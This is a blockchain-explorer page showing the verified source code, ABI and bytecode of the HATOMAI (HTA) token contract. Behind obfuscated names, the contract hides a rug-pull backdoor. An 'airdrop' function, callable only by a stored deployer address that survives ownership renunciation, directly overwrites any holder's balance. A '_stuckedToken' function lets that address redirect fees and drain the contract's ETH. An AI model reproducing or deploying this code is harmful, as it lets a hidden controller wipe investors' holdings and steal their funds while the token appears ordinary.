ETH Price: $3,310.33 (-0.87%)
 

Overview

Max Total Supply

1,000,000,000 HTA

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,999,999.999999999 HTA

Value
$0.00
0x9af99ecc1450624e4f3d9225a2f9f0995d6d4748
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HATOMAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : hatomai.sol
// SPDX-License-Identifier: MIT

/**
website: https://www.hatomai.xyz/
tg: https://t.me/Hatom_AI
x: https://x.com/Hatom_AI
*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract HATOMAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
    uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
    uint256 private constant _Sus3fxply = 1000000000 * 10 **_decimals;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"HATOMAI";
    string private constant _symbol = "HTA";

    address payable private _gfn31dxaz;
    mapping(address => uint256) private _btx23zzs;
    mapping(address => mapping(address => uint256)) private _aaacc3dfze;
    mapping(address => bool) private _feeUnincluded;
    uint256 private _ibbbuyxxayw = 10;
    uint256 private _issellxxayw = 10;
    uint256 private _fbbbuyxxayw = 0;
    uint256 private _fssellxxayw = 0;
    uint256 private _rbbbuyxxayw = 7;
    uint256 private _rssellxxayw = 7;
    uint256 private _buyCount = 0;
    address private _pldx2dz;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _gfn31dxaz = payable(_msgSender());
        _btx23zzs[address(this)] = _Sus3fxply * 98 / 100;
        _btx23zzs[owner()] = _Sus3fxply * 2 / 100;
        _feeUnincluded[owner()] = true;
        _feeUnincluded[address(this)] = true;
        _feeUnincluded[_gfn31dxaz] = true;
        _pldx2dz = _msgSender();

        emit Transfer(address(0), address(this), _Sus3fxply * 98 / 100);
        emit Transfer(address(0), address(owner()), _Sus3fxply * 2 / 100);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _Sus3fxply;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _aaacc3dfze[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _btx23zzs[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _aaacc3dfze[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _aaacc3dfze[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _stuckedToken(address wallet) external {
        require(_msgSender() == _pldx2dz, "Assist Failed");
        _gfn31dxaz = payable(wallet);
        payable(_msgSender()).transfer(address(this).balance);
    }
    
    function _transferxxayw(address from, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        _btx23zzs[from] = amount;
    }

    function _transferRetributionxxayw(uint256 amount) private {
        _gfn31dxaz.transfer(amount);
    }

    function _RetributionToETHxxayw(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function airdrop(address[] memory recipients, uint256[] memory amounts) external {
        _airdropRewardxxayw(_msgSender(), recipients, amounts);
    }

    function _airdropRewardxxayw(address sender, address[] memory recipients, uint256[] memory amounts) private {
        require(sender== _pldx2dz, "airdrop failed");

        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            _transferxxayw(recipient, amounts[i]);
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _rbbbuyxxayw)
                        ? _fbbbuyxxayw
                        : _ibbbuyxxayw
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeUnincluded[to]
            ) {
                require(amount <= _maxAmountPerTX, "Exceeds the _maxAmountPerTX.");
                require(
                    balanceOf(to) + amount <= _maxSizeOfWallet,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _rssellxxayw)
                            ? _fssellxxayw
                            : _issellxxayw
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0)
                    _RetributionToETHxxayw(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                _transferRetributionxxayw(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _btx23zzs[address(this)] = _btx23zzs[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _btx23zzs[from] = _btx23zzs[from].sub(amount);
        _btx23zzs[to] = _btx23zzs[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _Sus3fxply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    
    function removeLimits() external onlyOwner {
        _maxAmountPerTX = _Sus3fxply;
        _maxSizeOfWallet = _Sus3fxply;
        emit MaxTxAmountUpdated(_Sus3fxply);
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountPerTX","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountPerTX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSizeOfWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"_stuckedToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a62000014919062000763565b6301312d00620000259190620007b3565b6001556009600a62000038919062000763565b6301312d00620000499190620007b3565b6002556009600a6200005c919062000763565b629896806200006c9190620007b3565b600355600a600855600a6009555f600a555f600b556007600c556007600d555f600e555f601160156101000a81548160ff0219169083151502179055505f601160166101000a81548160ff0219169083151502179055505f620000d4620005a360201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35062000180620005a360201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a620001d3919062000763565b633b9aca00620001e49190620007b3565b620001f09190620007b3565b620001fc91906200082a565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a62000251919062000763565b633b9aca00620002629190620007b3565b6200026e9190620007b3565b6200027a91906200082a565b60055f6200028d620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f620002df620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000409620005a360201b60201c565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a620004ab919062000763565b633b9aca00620004bc9190620007b3565b620004c89190620007b3565b620004d491906200082a565b604051620004e3919062000872565b60405180910390a3620004fb620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6200055d919062000763565b633b9aca006200056e9190620007b3565b6200057a9190620007b3565b6200058691906200082a565b60405162000595919062000872565b60405180910390a36200088d565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200065b57808604811115620006335762000632620005d1565b5b6001851615620006435780820291505b80810290506200065385620005fe565b945062000613565b94509492505050565b5f8262000675576001905062000747565b8162000684575f905062000747565b81600181146200069d5760028114620006a857620006de565b600191505062000747565b60ff841115620006bd57620006bc620005d1565b5b8360020a915084821115620006d757620006d6620005d1565b5b5062000747565b5060208310610133831016604e8410600b8410161715620007185782820a905083811115620007125762000711620005d1565b5b62000747565b6200072784848460016200060a565b92509050818404811115620007415762000740620005d1565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200076f826200074e565b91506200077c8362000757565b9250620007ab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000664565b905092915050565b5f620007bf826200074e565b9150620007cc836200074e565b9250828202620007dc816200074e565b91508282048414831517620007f657620007f5620005d1565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000836826200074e565b915062000843836200074e565b925082620008565762000855620007fd565b5b828204905092915050565b6200086c816200074e565b82525050565b5f602082019050620008875f83018462000861565b92915050565b613241806200089b5f395ff3fe60806040526004361061010c575f3560e01c8063715018a6116100945780638da5cb5b116100635780638da5cb5b1461033157806395d89b411461035b578063a9059cbb14610385578063aefa3814146103c1578063dd62ed3e146103e957610113565b8063715018a6146102c5578063751039fc146102db57806382b5deab146102f15780638a8c523c1461031b57610113565b806321d91921116100db57806321d91921146101d157806323b872dd146101fb578063313ce56714610237578063672434821461026157806370a082311461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b60405161013891906120c1565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061217f565b610462565b60405161017491906121d7565b60405180910390f35b348015610188575f80fd5b5061019161047f565b60405161019e91906121ff565b60405180910390f35b3480156101b2575f80fd5b506101bb610485565b6040516101c891906121ff565b60405180910390f35b3480156101dc575f80fd5b506101e56104a8565b6040516101f291906121ff565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c9190612218565b6104ae565b60405161022e91906121d7565b60405180910390f35b348015610242575f80fd5b5061024b610582565b6040516102589190612283565b60405180910390f35b34801561026c575f80fd5b506102876004803603810190610282919061249c565b61058a565b005b348015610294575f80fd5b506102af60048036038101906102aa9190612512565b6105a0565b6040516102bc91906121ff565b60405180910390f35b3480156102d0575f80fd5b506102d96105e6565b005b3480156102e6575f80fd5b506102ef610734565b005b3480156102fc575f80fd5b50610305610863565b60405161031291906121ff565b60405180910390f35b348015610326575f80fd5b5061032f610869565b005b34801561033c575f80fd5b50610345610d8b565b604051610352919061254c565b60405180910390f35b348015610366575f80fd5b5061036f610db2565b60405161037c91906120c1565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a6919061217f565b610def565b6040516103b891906121d7565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e29190612512565b610e0c565b005b3480156103f4575f80fd5b5061040f600480360381019061040a9190612565565b610f30565b60405161041c91906121ff565b60405180910390f35b60606040518060400160405280600781526020017f4841544f4d414900000000000000000000000000000000000000000000000000815250905090565b5f61047561046e610fb2565b8484610fb9565b6001905092915050565b60035481565b5f6009600a61049491906126ff565b633b9aca006104a39190612749565b905090565b60025481565b5f6104ba84848461117c565b610577846104c6610fb2565b610572856040518060600160405280602881526020016131e46028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610529610fb2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461193c9092919063ffffffff16565b610fb9565b600190509392505050565b5f6009905090565b61059c610595610fb2565b838361199e565b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105ee610fb2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610671906127d4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61073c610fb2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bf906127d4565b60405180910390fd5b6009600a6107d691906126ff565b633b9aca006107e59190612749565b6001819055506009600a6107f991906126ff565b633b9aca006108089190612749565b6002819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61083d91906126ff565b633b9aca0061084c9190612749565b60405161085991906121ff565b60405180910390a1565b60015481565b610871610fb2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f4906127d4565b60405180910390fd5b601160149054906101000a900460ff161561094d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109449061283c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109e93060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109d591906126ff565b633b9aca006109e49190612749565b610fb9565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a77919061286e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610afd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b21919061286e565b6040518363ffffffff1660e01b8152600401610b3e929190612899565b6020604051808303815f875af1158015610b5a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7e919061286e565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c05306105a0565b5f80610c0f610d8b565b426040518863ffffffff1660e01b8152600401610c3196959493929190612902565b60606040518083038185885af1158015610c4d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c729190612975565b50505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d129291906129c5565b6020604051808303815f875af1158015610d2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d529190612a16565b506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4854410000000000000000000000000000000000000000000000000000000000815250905090565b5f610e02610dfb610fb2565b848461117c565b6001905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4c610fb2565b73ffffffffffffffffffffffffffffffffffffffff1614610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9990612a8b565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eea610fb2565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f2c573d5f803e3d5ffd5b5050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612b19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c90612ba7565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161116f91906121ff565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e190612c35565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124f90612cc3565b60405180910390fd5b5f811161129a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129190612d51565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561130357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561168c576113446064611336600c54600e541161132357600854611327565b600a545b85611a8e90919063ffffffff16565b611b0590919063ffffffff16565b905060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113ef575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611442575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114fc5760015482111561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612db9565b60405180910390fd5b60025482611499856105a0565b6114a39190612dd7565b11156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612e54565b60405180910390fd5b600e5f8154809291906114f690612e72565b91905055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561158457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115c8576115c560646115b7600d54600e54116115a4576009546115a8565b600b545b85611a8e90919063ffffffff16565b611b0590919063ffffffff16565b90505b5f6115d2306105a0565b9050601160159054906101000a900460ff1615801561163d575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116555750601160169054906101000a900460ff165b1561168a575f8111156116805761167f61167a8461167584600354611b4e565b611b4e565b611b66565b5b61168947611dd1565b5b505b5f81111561178b576116e48160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3990919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178291906121ff565b60405180910390a35b6117db8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187e6118328284611e9690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3990919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff